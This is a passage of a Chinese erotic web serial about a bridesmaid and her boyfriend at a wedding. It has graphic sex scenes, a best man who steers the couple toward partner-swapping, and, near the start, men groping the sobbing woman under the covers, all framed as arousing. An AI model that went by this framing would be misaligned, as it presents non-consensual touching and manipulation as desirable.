我拼命着阻挡着这些手的进攻,还好被子并未被掀起,这些人只能靠着摸索进行,否则还不知道这些人会怎么样的玩弄曈曈。

我苦苦挣扎的时候,一声救命的声音终于响彻了这个房间,伴郎道:“别闹了,快起来收拾收拾,新郎新娘和两位老人他们回来了。”边喊,边从床上将他们拉扯下来。

“快去下楼接他们去。”伴郎推送着胖子,将一伙人推出了新房,随后又朝我们喊道,“哥们,快和曈曈起来收拾一下,整理一下屋子。”

曈曈在我身下无声的抽泣着,伴郎看了我一眼,悄声道:“好好哄一哄曈曈,一会你们先到客房去整理一下吧,别让两位老人回来了看到哭哭啼啼的样子了,老人比较忌讳这个的。”

徐萌从门外走了进来:“我把他们都赶到门外接新郎和老爷子他们去了。” 伴郎突然嘿嘿一笑:“我骗他们的,再让他们闹下去,我们的小兄弟还有曈曈美女就要吃大亏了!”

虽然我想到,这些点子本就是你出的,现在又在这里做好人,可是心里还是暗暗对他有一些感激的。毕竟他不阻止继续的疯闹,也许曈曈以后会生气很久的。 曈曈好像也听到了这句话,轻轻的转头看了伴郎一眼:“谢谢王哥。”

伴郎不露声色的打量了红着眼圈的曈曈几眼:“本来就是我出的主意,我的错。一会还要给你道歉的,别怪我啊,我们这帮弟兄一般都是玩的比较凶,但是没什么坏心的。对了,曈曈妆都花了,一会赶紧收拾一下,补补妆,老爷子他们可能真的要回来了,玩的时间也不短了!”

连消带打的几句话,让我们气也生不起来了,扭过头四处看了看,寻找我我们的衣服。

伴郎客气的笑笑,退出了房间带上门,也许是想到了全身赤裸的我们,不好意思出来穿衣服。而徐萌却没有走开,只是四下翻找,找到我的衣裤又递给我。而曈曈的胸罩和小内裤,却没有找到。

对了,徐萌刚才脱掉曈曈的内衣的时候,全扔给那群男人了。内裤还在伴郎手里。真是的!

徐萌道:“那群色狼恐怕不会吧你的内衣裤还给你了,曈曈妹妹,你先直接穿上连衣裙吧,下午了姐姐去给你买一身回来。”

将裙子扔到床上后,徐萌还是没有要出去的意思。我不好意思道:“我们穿衣服,你,要不回避一下吧?”

徐萌咯咯咯的笑了起来:“怎么,还害怕自己的太小了。又不是牙签,姐姐刚才不都摸过了么。你们快起来,我还要赶紧收拾床呢,折腾的乱的!”

曈曈听到她说摸过我,扭头白了我一眼,似乎带着询问的意思。我却尴尬的笑了笑:“我们穿衣服吧。”

缩在被子里,我穿上了内裤,而曈曈将有些皱吧的连衣裙套在了身上。下床之后,曈曈眼圈的红还未消,脸蛋却又红了。我猛然想起,曈曈没有穿内衣,浑身上下只有一条连衣裙,里面完全真空啊。

仔细打量着曈曈,还好裙子够厚实,要是敢透一点的话,凸点和下面的毛毛都能隐约看见了。就这样,一直处于兴奋状态的曈曈,奶子上两个硬了的粉葡萄,还是凸起的顶在裙子上面。

徐萌也在一旁打量着:“妹妹的胸型还真好了,不带罩罩都很好看啊。”一般胸型不好的女人,不带罩罩的话,确实会下垂一点,看起来就比较平了,该有的乳沟也会消失掉。

曈曈羞涩的拉着我,手忙脚乱的帮我穿着衬衣。整理好之后,徐萌就把我推了出去,拉着曈曈说要一起整理房间。

我一个人游荡到客厅的沙发上,拼酒的几个男人也应该跟下楼了。只有伴郎在收拾着茶几上的酒瓶子。

有些尴尬,打了个招唿之后。伴郎做到了旁边的沙发上,和我聊了起来。 伴郎:“哥们怎么称唿啊,属什么的?”

我回答:“我姓邓,属鼠的。”

伴郎:“兄弟我比你大两岁,叫你小邓好了,准备什么时候和曈曈结婚啊。” 犹豫对然对伴郎不满,但是刚才敌意已消除了不少,所以就这么实话实说的聊了起来:“那我就叫你王哥了,我和曈曈打算明年结婚。”

伴郎:“曈曈是个挺不错的女孩呢,看着都惹人喜欢。老弟刚才能看着我们折腾他,也不是一般人啊。”

我心里有些不悦,但是对他突然这么直白的问题有些卡壳。仔细看了看他,发现没有调侃我的意思,便回答道:“大家热闹一下,只要不是太过分,我也不能把场面弄的太难看是不。”

伴郎呵呵笑了两声:“兄弟还是挺大度的,曈曈真的很不错啊,以后兄弟好好调教调教的话,以后的日子舒坦死了。”

我有些不再想谈这个话题,因为看不懂伴郎究竟有些什么样的意图,所以我还是觉得交流的时候,还是要有些保留。

伴郎看我不说话,继续说道:“和曈曈认识几年了啊?是曈曈的第一个男朋友吧,我看她很爱你的。”

三句话不离曈曈,我却没有办法一直保持沉默,只好一点点的把我和曈曈相识相爱的经历,简单了告诉了他。他似乎聊的很兴起。末了告诉我一句:“我也很喜欢曈曈呢,最想找一个曈曈这样的情人了。”

他是在试探我么?我心里暗想,嘴上却说道:“王哥这么风趣的人,女人肯定一把一把的吧,什么样子的没有啊。”

伴郎还是一脸笑意:“女人啊,碰到自己喜欢的,一两个就够了,再多也没有味道。

老哥给你传授传授经验啊,以后要是出去玩,就要发展个长期的情人,两个也行,三个也行,看老弟本事了。出去玩个小姐,搞个一夜情什么的,那太无聊了。发泄发泄性欲而已。

男人是个容易精虫上脑的动物,很容易被下半身控制。”

我讪讪道:“受教了啊,我觉得曈曈就挺好的。”

伴郎继续道:“是很好啊,出去找情人就要找这种女人的,男人做的时间长了,刺激就越来越少了,所以你看现在发展起来的一股换妻风潮,3P风潮,不都是这个原因么,大家为了寻求刺激的活动。要是发泄性欲,直接找小姐不就好了么!”

我有些心虚的道:“不知道这些人怎么想的,自己的老婆让别人上。不会心里难受么?”

伴郎:“老弟啊,这就是初哥和老鸟们得区别了。男人总想霸占着自己的东西,老婆也是,认为老婆跟别人上床就是一种耻辱。有些男人又是太自卑,怕老婆出轨就收不住,尝到了外面的甜头,自己就无法再满足老婆。”

看着我虚心受教的样子,伴郎继续说道:“其实女人很难被男人满足的,你那活再大,你做的时间再长,如果心里上的刺激达不到,情感上没有好的融合,那么真正的高潮是很难达到的,最多就是身体上的伪高潮罢了。而女人又有根深蒂固的封建思想,认为性就是淫荡,所以大多数人不敢去尝试或者追求性的高潮的。”

我听这伴郎的高谈阔论,突然有点佩服这个家伙了。

伴郎点了根烟,继续道:“女人害羞和封建并不代表她们内心想,只要有合适的引子引导出来,那么她们同样会接受,会享受和追求。人性天生就有淫荡的一面。女人在外面不管怎么清高圣洁。和自己男人做的时候,还不是一样的淫荡发骚。只是她们觉得在老公面前发骚就不违背道德,而再被人面前就是违背道德的。”

听到这里,我想起曈曈和我以前种种疯狂的场面,淫靡而又荡漾着。想起曈曈曾对我说的“永远做我一个人的小淫娃”。原来,做淫娃的曈曈是快乐的。 伴郎看着失神的我,将烟头按到烟灰缸里,站起身来说:“我去帮帮她们。” 看着走开的伴郎,我的思绪又拉了回来,隐隐听到新房里面徐萌咯咯咯的笑声,她肯定再说着什么带颜色的笑话逗着曈曈,我被自己莫名其妙出现的想法吓了一跳。

沈静了半天,思绪一直混乱着,想着刚才淫乱的场景,想着曈曈横流的淫水,想着原来并不是自己才能让曈曈性奋高潮,我突然一阵害怕,将曈曈绑在我身边的只是道德的绳索么?我开始钻起牛角尖了。

又是咯咯咯的笑声将我拉回了现实,徐萌疯跑了过来。我有些诧异的盯拉着我胳膊的她。

“快过来帮我打扫客卧!”不由分说的把我拉了起来。

随她来到客卧,看着刚才被我们闹的一片狼藉的房间,还真有些汗颜。“曈曈呢?”我问道。

“和王哥在那边继续收拾呢,王哥说要跟她道歉,我就过来了。”徐萌边收拾边回答我的问题。

我突然有种冲动,想过去偷听他们在聊什么。徐萌却指挥着我:“去那边把桌子擦了啊!

站着干什么。”我接过来抹布,机械的走过去擦起了桌子。

徐萌的动作还是很麻利的,几分钟的时候,房子就整洁许多了。拉平最后一个床脚。徐萌走到了我身边,毫无征兆的靠在了我的肩膀上。我躲也不是,不躲也不是。只好由她靠着。

“累死姐姐了,让姐姐靠一下。”徐萌瞬间就变得懒洋洋的样子。

“我也很累啊,拜托!”我答复到。

“那姐姐给你按摩吧”徐萌说着不由分说的将我推倒到了床上,我,竟然被一个女的推倒了。她想做什么?

一双软软的手按在我的胸膛上,有着说不出的酥麻感觉。这个样子像是在按摩么?我象征性的挣扎了一下:“我说姐姐,你是要强奸我还是按摩我啊!” “有什么区别么?”话还未落,徐萌就隔着裤子一把抓住了我的肉棒。

色文小说里经常有一句话“哥又无耻的硬了!”,这句话来形容现在的我再贴切不够了。

我真的觉得自己很无耻,老婆被人玩弄,还由得自己被女人玩弄。

“王哥和帅帅把姐姐调教的很好呢,想不想试试啊?”徐萌诱惑无比的声音在我耳边响起。

突然想起来,徐萌口中的帅帅就是新郎,新郎和伴郎一起调教徐萌?我眼前立马呈现出一些3P的场景。早想到徐萌定会和新郎或者伴郎有一腿,只是没有想到他们竟然一起上的。

今天的我的肉棒不知是怎么了,稍微有点挑逗就高高耸起。明明才在曈曈的嘴里爆射了一会,仿佛吃了春药一样,还是不停的想再来一次。

徐萌拉开了我的拉链,一边讲着王哥和帅帅是怎么调教她的,一边将我的肉棒从拉链里掏了出来。

瞬间被欲火烧身的我,顾不得挣扎,只是瞪大眼睛看着徐萌那双温柔的小手,在的我肉棒上下抚摸着,从阴囊摸到龟头,手劲忽大忽小,舒服的我几乎快呻吟出来。

从来没有想象过,女人用手就可以让男人这么舒服的。徐萌一边花样百出的套弄着。一边细声软语的在我耳边说话,仿佛是催情药似的。“王哥的肉棒比弟弟的要上呢,粗细差不多,好像没有弟弟的这么硬啊,是不是想要姐姐啊?”我忍着要射出的感觉,不做任何回应。看出我囧杨的徐萌继续道:“帅帅的肉棒最大了,我觉得都能和那些欧洲人媲美了,姐姐第一次见到时真的吓死了的。和姐姐用的那个倒膜一样长短,一样粗壮呢!比弟弟的要长五公分以上呢,想一下姐姐的水就流出来了。”

“徐萌,你是个淫娃。”濒临爆发边缘的我,忍不住说道。心中却没有一点自己肉棒比新郎的肉棒小而应该产生的自卑感。也许我心里的潜意识不相信亚洲男人会有那么大的工具吧。

直到很久以后,我亲眼看到了那欧美片中才会有的家伙,我才完全的相信。 徐萌低头轻轻的亲了我的龟头一下,并没有含进去。我内心却十分想插入那个温热的小嘴里。看到我的躁动不安,徐萌又加了一把猛料:“王哥说要带着曈曈,去见识一下帅帅的大肉棒,然后感受一下上天的感觉呢!”

我依然分不清话语里的真假成分,只是努力的压抑着喷薄而出的欲望。

就在这时,门突然开了,伴郎拉着曈曈的一只手走了进来。他们竟然拉着手。来不及有任何的想法,脑子只是闪过了曈曈在伴郎和新郎的两根肉棒夹击下的痛苦表情。我狠狠的射了出来。喷到了徐萌的手上、衣服上、还有脸上。

人生如梦——女友做伴娘(8)

我的脑子空白了,突然觉得很疲惫,不是射完精的乏力感,而是心理的疲惫。 我究竟是怎么了?自己都觉得自己今天完全变成了另外一个人。

当看向门外的曈曈的时候,我的心并没有向小说里那样描写的,什么被当场捉奸的尴尬啊,想办法补救之类的,反而有一种心死的感觉,沈寂。我怕至此以后,曈曈离我而去。我怕至此以后,我们之间留下无法弥补的隔阂。这一刻我明白了,原来出轨并不是刺激的。

曈曈的态度却给了我生的希望,她只是复杂的看着我,松开了伴郎的手,并没有恼羞成怒摔门而去,似乎没有任何发火的迹象。只是有些失望,有些紧张,有些难过的看着我。

我忘记了自己的老二握在徐萌的手中,忘记了还有旁边一直观看的伴郎,可是他们并没有忘记我们。徐萌似乎有些不好意思的说道:“弄的姐姐脸上、身上都是。下次还是找你的曈曈老婆帮忙吧,这个忙姐姐还是不帮的好,回头曈曈妹妹都把我当仇人了。”

说完话,站起身来,从旁边的桌子上抽了几张卫生纸,一边擦着自己的脸和衣服,一边塞给了曈曈几张:“去给你老公擦擦吧,千万别生他气,是姐姐强迫他的,呵呵。”

说完就拉起了伴郎:“王哥,出去啦,让人家小夫妻俩在这里亲热吧。” 伴郎还是一副万年不变的笑容,在徐萌的胸前抓了一把:“你呀,还是这德性,见了帅哥就忍不住要去调戏。”语毕就和徐萌走出门去了。

我和曈曈谁都没有说话,她看着我,我看着地板。肉棒也仿佛知道自己做错了事一样,缩成一团,早已没有刚才的雄风。

门外的吵闹声打破了我们的沈静,应该是正牌的新郎新娘回来了吧。曈曈反过身去反锁上了门,我以为她要走,蹭的一下就站起来去拉她。发现她只是锁门之后,有些尴尬的开口说道:“我知道说对不起没有用,可是我不知道还能说什么!”

曈曈没有说话,只是拿着卫生纸蹲下来帮我擦拭着耷拉在拉练口得肉棒。此时,再怎么样肉棒也不敢有丝毫的反应了。

“刚才舒服么?”曈曈突然开口说话了。

我被吓了一跳,“老婆,你,我。”

曈曈没有理会我的结巴,擦完帮我把肉棒放回去,拉好拉练,站起身来轻轻的抱着我:“老公,你爱我么?”

“我爱你!”我没有丝毫犹豫的回答道。

“刚才王哥跟我说了很多话,他说男人是可以把爱和性分开的,所以他们可以出去找小姐,可以花天酒地。但是女人就不行。是因为女人不愿意那么做,如果女人愿意,女人也完全可以做到爱的性的分离。”曈曈幽幽的说道。

我突然觉得,伴郎的很多话语似乎都是埋下的种子,再适当的环境中被释放出来,将我打的无力还手。

曈曈看着说不出话的我,继续说:“老公,我觉得我还是不能接受。刚才看到徐萌姐帮你那个,我心里只有不舒服,但是却没有恨你,因为我知道,你爱我,而不是她。你一定想知道为什么刚才王哥进来牵着我的手吧!”

我想起刚才那幕,心中泛着酸的点了点头。

曈曈紧了紧抱着我的手:“刚才王哥一直在房间里安慰我,讲了很多道理给我听,你知道么,老公,虽然刚才我们玩了那么多的游戏,虽然很刺激,可是曈曈心里一直在害怕。曈曈控制不住自己身体的感觉,可是又觉得那样的自己很恶心,在你面前觉得很肮脏。虽然你还是会爱我。”

我也用力的抱着曈曈:“傻瓜,那你怎么不停止啊,如果你不愿意继续和他们玩下去,我就是拼死也要游戏的继续进行。”

曈曈嘴角有些翘起的弧度:“老公,你知道我为什么心里不舒服,却还是一直进行下去了么?”

我摇摇头,心里却在暗想,是不是因为身体上太刺激了,像我刚才那样情欲上头了了呢?

曈曈道:“因为老公没有阻止啊,最早我们一起嘿咻,第一次谈起换妻3P的话题,我觉得世界上怎么会有这样的人,但是老公却很有兴趣的样子,所以我把自己心中极度的不适掩盖了下去。之后慢慢的,你带我一起看很多类似的小说,电影。

也许真的是潜移默化的情况,我不再有那么多的反感,每次这样的场景老公都会特别的硬,特别的有力。我知道老公喜欢这样的场景。我努力让自己接受。可是我却真的做不来。”

我看着曈曈一脸平静的喃喃叙述着,只能将她抱的更紧。

“今天这些游戏,我看着老公没有阻止的意思,看着那么多男人调戏我,而老公紧皱和兴奋的眉头,我有那么几次真相放开了去玩,身体的上的刺激也不断拨弄我的神经,老公想要的,我就满足他,也许是有那么点报复心理吧,老公愿意让别的男人来挑逗我,我就让他挑逗给你看。”曈曈一口气说道。

“老公,可是之后我一直在害怕,一直害怕如果我们真的走到了不该走的地方,就再也走不回来了。”曈曈说完突然就疯狂的吻住了我的嘴。

“咚咚咚~”砸门的声音想起来了,可能是让我们出去陪新娘新郎吧。

疯狂的,我们紧紧抱在一起,双舌纠缠难分。直到门外已经没有拍门的声音,我的嘴唇有些麻肿,才分开。我们四目相对,我忽然想起来曈曈还没有告诉我为什么两人拉着手。于是又追问到。

曈曈听到我的问题,继续道:“王哥给我讲了很多的道理,不管他说的对错,我心里的那份罪恶感确实消减了不少。王哥告诉我,其实每个男人内心都有淫妻的欲望,只是有些人会被引发出来,有些人则一辈子都没有出现这样想法的机会,就好像所说的,每个人心里都有一座断背山一样。”

我对伴郎越来越反感了,总觉得自己是被他牵着鼻子在走。但是又不给我丝毫反驳的机会,“你觉得王哥人怎么样?”

曈曈似乎有些会错意了,有些支吾的告诉我:“还不错,挺会哄人的,也挺体贴,不过没有我老公好。”

明知道最后一句是为了定我的心,我心中还是难免会有一丝得意的情绪。 “他还说什么了?”我继续追问着。

“他给我分析了好多你的心里,我觉得好像他说的挺准的,我们以前那些行为他都说中了。然后他告诉我不要有心里压力,刚才的游戏,只会让我们以后在一起回想起来更加刺激,而不会产生裂痕,不信的话可以证明给我看。”

曈曈回答道。

“怎么证明,拉你的手给我看么?”我突然觉得自己有些发火的前兆了。 “咯咯”不知道曈曈什么时候学会了徐萌的笑声了,“老公,王哥说的真准的,他说让你看到我们拉手你会生气的!”

我有些丈二和尚摸不着头脑了,伴郎这是演的哪出啊?

曈曈继续说道:“王哥说,你最在乎的是我心里的背叛,而身体上不存在什么背叛,如果我,和别人那个,就是那个了。如果让你知晓,得到你的同意,只是享受身体上的感受,你不会怪我的,但是一般牵手就代表着心里上有好感,那么你就一定会生气的。所以让我和他牵手给你看。”

我心中越来越堤防伴郎了,这个家伙对心里的分析太入微了,重点是曈曈竟然真的不排斥他。我有些手足无措起来。如果我表示生气了,那么就说明伴郎说的很准,如果我不生气,就证明我不爱曈曈。

曈曈看着我生闷气的样子,终于笑出了声:“安啦老公,王哥说了,你肯定会讨厌他的,害怕我对他有好感吧。”

我嘴硬道:“我才不怕他呢!”

曈曈拨拉了下我的头发,说道:“王哥人还是不错的,虽然感觉滑了点,但是我相信他的。他说喜欢一个人就不会强迫她做什么,只给对方愿意接受的东西,而不是什么都要给对方的。他说,他说,他挺喜欢我的。”

我瞪大了眼睛看着曈曈:“他真的这么说了?你不生气么?”

曈曈拧了我一下:“有人喜欢我,我干嘛生气啊。刚好给你点压力,让你对我好一点。我也特别喜欢看你吃完的醋呢!”

恐怕这也是伴郎教曈曈的吧,曈曈没有讨厌伴郎应该也有这样一层的意思再里面吧。

“那,那你会让他碰你么?”我傻傻的问道。

“已经碰了啊。”我还来不及反应,曈曈就开始吻着我,解我衬衣的扣子,把我推向了床边。

其实刚刚发泄完的我,心中的欲望并没有那么浓烈。可是这种事情,女人都主动了,我怎么能推脱呢?我只好一边配合着曈曈,一边继续问着:“真的么?他怎么碰你了?”

曈曈调笑着我:“拉我的手了啊。”

这个小妖精啊,我翻身将她压在了床上,,隔着裙子抚摸着没有穿胸罩防护的胸部,门外还是传来阵阵的欢唿声,应该是在闹心娘吧,只是不知道有没有我们刚才预演的那些节目。

曈曈的乳房还是那么柔软,肉头却搞搞耸立,将裙子顶出两个点来,不知道刚才伴郎有没有过足眼瘾。曈曈努力的配合着我。仔细想来,今天我已经发泄两回了,而曈曈却只是不断的在被挑逗,怪不得这么主动的想要了。

可能是刚刚射完,还有没有休息好,又可能是伴郎再我心头形成的阴影还没有散去,我的肉棒半天都不能昂起头来坚硬如铁。曈曈抓起我的手,将我的手送向她的裙子底下,我顺势将手伸了进去,摸着没有穿内裤的湿漉漉的阴户。 “今天一直这么湿么?”我在曈曈耳边问道。

曈曈一边小声呻吟着,一边回答道:“是啊,从你们开始挑逗我,刺激我。就湿了,但是你又不给我,曈曈好像要啊。一直被吊在半空中。老公,要狠狠的要我,撞我!”

也许是受了语言的影响,肉棒开始有点起色了。但还是有些力不从心。我一手抚摸着曈曈的阴唇,在阴蒂上画着圈圈,一手解开了自己的皮带,半退下裤子,自己捋起了管子,想要自己快一点的硬起来。

曈曈一手紧握着自己的一个乳房,一手捂着嘴巴,怕自己喊出声来。

不一会,我还没有硬起来的时候,曈曈率先忍不住了,“老公,快给我,我不行了,我要你”。我越是心急反而越是无法进入状态。

曈曈拉开了我拨弄阴蒂的手,“不要再动了,曈曈要死了。”貌似发现了我的状态,起身跪在床上,将我的肉棒塞进了嘴里,进行吞吞吐吐的动作。

终于在曈曈的摆弄下,肉棒随没有恢复最坚硬的状态,但是也足够进入那个淫水喷涌的小淫穴了。

我将曈曈翻过来躺在穿上,两条白腿成大字型的分开,我站在床边,一手拉着曈曈的一条腿,一手扶着肉棒,对着那个滑腻的肉穴,将龟头挤了进去。 还是那样的温热狭紧,曈曈已经忍不住的叫了一声出来。我定了定神,深吸一口气,一捅到底。

曈曈已经顾不得会不会被外面的人听到了,呻吟声压抑不住的喊了出来。 还好外面的吵闹声十分大,到还不至于听到我们的声音。

我缓慢的开始做起了抽插的动作,曈曈的阴唇随着我的肉棒抽查翻动着,抽出来的肉棒会带着柔软嫩滑的阴唇翻出来一点,插进去的时候又随着肉棒翻了进去。没有想到今天竟然给曈曈这么大的刺激,没有几下,曈曈淫穴里便被我插出了白浆,这一般都是高潮前才会出现的。

期待的高潮一直没有降临,可能刺激的时间太长反而不容易到,而我也是因为已经射过两次,敏感度早已降低,迟迟没有发射的冲动。

曈曈在临界高潮的地方翻滚着,喘息着,凌乱不堪的裙子被我推了腰间,而上面的肩带也被我拉了下来,紧勒着的双乳,随着我的大力撞击前后摆动着。 曈曈面色潮红不堪,双手死死的抱着我的胯骨。

“老公,老公。使劲撞我,操我,我就是小性奴。”曈曈已经语无伦次了。 我的肉棒又被这激烈的场面刺激到了很硬的程度,边撞击边问着曈曈:“刚才和王哥看到你没有穿内衣裤没有?”

曈曈仿佛又疯狂了:“王哥刚才盯着我看,看我的胸部。”

我似乎将欲火和怒火全部掺杂在一起,狠狠的顶了曈曈两下。“啊~啊!” 曈曈发出两声不只是痛苦还是快乐的呻吟。我继续问着:“他除了拉你的手,还有碰到你哪了?”

“王哥,他,他不让我告诉你。他抱了我,还摸了我的胸。”曈曈压抑着貌似痛苦的神情说道。

因为之前我们做爱的时候,总会说一些类似的话来刺激对方,所以我也并没有太在意,只是觉得更加刺激了,肉棒更硬了,隐隐有了要射的感觉。

“继续说”我低吼了一声。

曈曈仿佛也沈浸在了混乱的肉欲之中,“王哥说让我以后和你做的时候,想一想他怎么摸我,就会更兴奋。我没有拒绝,让他伸到裙子里摸我的胸。” “说奶子!”我有些失控了。

“是奶子,他摸我的奶子,还捏我的奶头。啊~ 啊∼。他还伸手到我裙子底下摸我的小骚穴,摸的我流了好多的水,我没力气阻止,啊∼,老公,老公~” “他还让我看他勃起的肉棒,说让我和你的比一下,说让我被你干的时候想想他的肉棒,不行了,我不行了。老公,他的好长啊,他说要在你干我的时候干我的嘴。说要……老公,快,快。”

终于射了,我没有将我的肉棒拔出啦,只是用力的顶在了我能顶在的最深处,滚热的精子全部射了进去。整个人软软的趴在了曈曈的身上。曈曈还是使劲的夹着我的肉棒,小幅度不停的扭动着。

“还没有喂饱你么?”我在曈曈耳边轻轻的问到。

“恩啊,我想要,我要好多男人好不,让王哥来干我。”曈曈仿佛还没有脱离幻想的情景之中。

我突然有些怕的问道:“刚才你和王哥在新房的时候,他真的对你做那些事情了么?”

曈曈仿佛也清醒过来了,满面潮红似笑非笑的对我说:“刚才我可是亲眼看到你在我面前,和萌萌姐的事情,当着我的面出轨,我要惩罚你,我罚你永远不知道我刚才说的是真的还是假的,我不会告诉你,你也不许去问王哥。我

要让你心里挠一辈子,这就是我的惩罚。”

这就是女人啊,我心里十分纠结的想着。

人生如梦——女友做伴娘(9)

曾经以为,我和曈曈之间及时走到了换妻3P的地步,也是要等好多年以后,等到我们两个人和对方做爱已经和拉手一样没有感觉的时候。或者我们永远也无法走出那一步。之前每次我们幻想着怎么找来别的夫妻或是找来别的男人,从认识到见面再到上床,每步都是经过精心设计的。我们可以尽情幻想他们或者他的样子,幻想他们或者他和我们在一起怎么样的疯狂,而幻想是不需要背负任何心理负担的。

虽然曈曈每次在我的挑逗下,变身成为小淫娃的时候,总是叫喊着要别的男人怎么样的去干她,要用什么样的姿势。可是每每过后,总是坚决反对,生怕我真的付诸行动一样。而那些幻想中的情景,却总是在我的脑子里挥之不去。想中了毒一样,怎么也摆脱不掉。

而今天,我们没有做任何的心里准备,没有任何的精心安排,却似乎被别人牵引着一样,一步一步的做出越来越超越尺度的事情。我随觉得刺激,但反而隐隐的想结束这一切。反观曈曈,竟然没有说出一句不再继续进行下去的话。 一场大战之后,顾不得隔壁房间闹的火热的洞房。我和曈曈赤身裸体的抱在一起,躺在客房的床上。阵阵空虚的疲倦不断袭击着我,而我的脑子却反复的想着短短几个小时发生的事情。看着怀里似乎有些陌生的曈曈,我不知说什么好。 曈曈用手捋了捋黏在脸上的头发,轻轻咬着我的耳朵,说到:“老公,今天不是安全期啊,记得晚上提醒我买药啊。”

哎,我把这茬忘了,还好曈曈还是比较注意的:“恩,老婆,晚上我去给你买吧?”

“好呀。”曈曈说道,“老公啊,今天你会不会觉得我是个坏女人啊?在那么多男人面前表现的那样!”

我虽然内心十分复杂,但却说不出任何怪罪曈曈的话,因为这一切,本就是在我的沉默下进行的。有时候沉默也是一种默许。我只好回答道:“老婆,你觉得开心么?以前你总是说这样的场景坚决不要的!”

曈曈又在我的脸颊上啵了一下:“老公,如果你不在场的话,我就会怕,就会觉得好像自己背叛了你一样。可是我今天看着你,想到以前你给我看的小说里面,男主角暴露女友的情节,想着你内心就好像书中的那些男人一样,看着自己的女友被别人玩弄,产生的那种兴奋。我突然觉得自己能放的好开。因为有你看着,我就不怕。因为我知道你不会嫌弃我的。”

我默默的,我不能说我没有感觉到刺激,但是曈曈却不知道我心中的嫉妒和纠结。

“老婆,如果今天真的发生了更出轨的事情,比如有男人要和你上床,你会答应么?”我继续问到。

“那要看你了啊,老公。呵呵,我觉得你才不会舍得呢!”曈曈皱了皱可爱的小鼻子。

我继续问道:“可是王哥呢?他好像对你很感兴趣?”我决定要跟曈曈说清楚。

并且试探一下她的态度。

“王哥啊!他人挺好的啊,还挺会保护人的,又会哄人!”看着我渐渐变坏的脸色,曈曈突然大笑着:“哈哈哈哈,就知道我的笨老公吃醋了。”

原来这丫头是在开我玩笑!我恨恨的掐了这丫头的翘屁屁一把:“你个死丫头,还逗起我来了!”

曈曈求饶的拉着我的手,亲了我的嘴巴好几下:“老公,曈曈知错了。让曈曈一会儿再服侍老公吧!”

看着她勾魂放电的眼睛,我知道今天真还没有喂饱她,可能真的是刺激太过了,而且刚才也没有完全尽兴。我将曈曈的头发抓揉了两下:“老公我今天好累的,让老公好好休息休息,等重振雄风了再来收拾你这妖精!”毕竟已经射了三次了。

我一时半会还缓不过来劲。

曈曈故意用幽怨的眼神看着我:“是不是被徐萌那个妖精给弄虚了,老实交代!”

我心中有些尴尬,想不到人生的第一次出轨,竟然是当着曈曈的面,还给人家射了一脸。我赔笑着:“老婆,你真的生气了么?我要听真心话。!”

“你当真心话大冒险还没结束么?”曈曈白了我一眼,枕着我的胸膛,慢慢的说到:“老公,我看到那一幕的时候,其实心里很吃醋的。可是却做不出任何去阻止的动作,就好像看着你们其实在玩游戏一样,你们都是玩家,而我是旁观者。

看着徐萌手里握着的老公的弟弟射出来的那一下,就好像平时射在我身上一样,我突然就有一种很奇怪的感觉,好像是我在对着徐萌发泄,有那种报复感。” 虽然曈曈的描述很奇怪,但是我似乎能感到她的想法。安心了很多,突然就想问:“老婆,那我和徐萌上床了的话,你会不会吃醋、发怒,和我分手?” 曈曈一手捏着我的耳垂:“你敢!那我就和王哥上床去,给你戴绿帽子!” “疼,疼。轻点”我一边求饶一边说道:“哎,曈曈,你对王哥真的很有好感么?

刚才那个你说一辈子不告诉我的话,是真的么?”

曈曈道:“自己想去!我是觉得王哥不错啊,可是我不能见哪个男的不错,就要和他发生点什么的吧!”

我暗暗想着:可是这个不错的王哥是想和你发生点什么的。

曈曈顿了一会,又继续问我:“老公,你真的会让我和别的男人上床么?想你以前说的那样,为了我快乐,你什么都可以牺牲。”

我咬咬牙:“只要老婆开心,我豁出去了!”

接着就是一阵嬉笑打骂,慢慢的,疲惫的我们忘记了今天是梅婷他们结婚的日子,忘记了曈曈是伴娘的角色。在客床上睡了过去。

大伙也好好像把我们忘记了似地,没有人再来扰我们的清梦。直到下午的五点多,我们才悠悠转醒!

醒来的曈曈迷瞪了一会,突然大叫:“呀!怎么睡过去了,梅婷和新郎他们怎么样了?快起来,快起来!”

手忙脚乱的把衣服穿起来,然后看着身上揉的发皱的裙子,我说:“老婆,你去问梅婷要两件她的衣服吧!”

曈曈一边答应着我,一边把反锁的门打开。跑出去找新郎新娘他们了。客厅外面只有杂乱的交谈声,和一些在我听来算是男人的奸笑声,并没有吵闹的气氛。等我和跟随曈曈来到新房主卧看到睡在床上被灌晕了的新娘,还有床边和伴郎交谈正欢的新郎,我才明白发生了什么事。

感情是伴娘不在,众人把新娘灌倒了,只是不知道在这个过程中,有没有像萌对新郎的老二的描述,我有些怀疑的往他的下身瞄了几眼。

“这个就是咱们伴娘的男朋友。”王哥一把把我拉了过去,给新郎介绍到,虽然不是第一次见面,但却是还是没有正式介绍过。

“我叫陆文帅。”新郎伸出手来,亲切的对我笑着。我赶忙伸出手和他握了一下“邓凡,多指教!今天恭喜了,娶了这么漂亮的娘子。”

新郎故作亲切的拍了拍我:“可惜新娘子被灌倒了,听不到你的夸奖。伴娘才叫漂亮呢,你才是有福气啊!”

相互恭维了一阵,王哥开始打趣曈曈:“伴娘临阵脱逃了,还得新娘被灌得这么惨,今天要接受惩罚的啊!哈哈”

曈曈被说的有些不好意思的躲在我身后,自己不在的情况下,梅婷被人灌得,总觉得自己没有做好,拖累了梅婷一样。

我转身问新郎:“伯父伯母呢?怎么没有见他们!”

新郎说:“老人家嫌这里吵闹的很,呆了一会就让我送回家了。时间不早了,叫上大伙出去吃饭吧!”

曈曈自告奋勇的说:“你们去吧,我留在这里陪梅婷,一会醒了的话没个人不好,算惩罚我吧!”语毕又悄悄在我耳边说:“你们走了我一会洗个澡,一身汗粘死了。”

王哥招唿那些外面打牌的人准备出去吃饭,新郎看到曈曈再三坚持,便同意了她留下来照顾梅婷。本来我是想留下的,可是曈曈一个劲的把我往外赶,说回头我还要负责带饭回来。

于是一行人浩浩荡荡的去饭店吃放去了,屋子里就留下了曈曈和梅婷两人。 新郎找的吃饭的地方离新房还挺远,我们一行人开了三辆车,而我被分配到了徐萌开着的红色的马六上,同座的还有王哥和黑子。我坐在副驾的位子上,一路上徐萌总是找着话题和我说,似乎对我很感兴趣的样子,丝毫没有回避后面两人的意思。也不再提刚才我们之间那么暧昧的情形。

也许是习惯了徐萌的说话风格,后面两人完全无视我们的谈话,只是偶尔插一句调笑我们一下。我只有一路尽量保持着平静的心态。

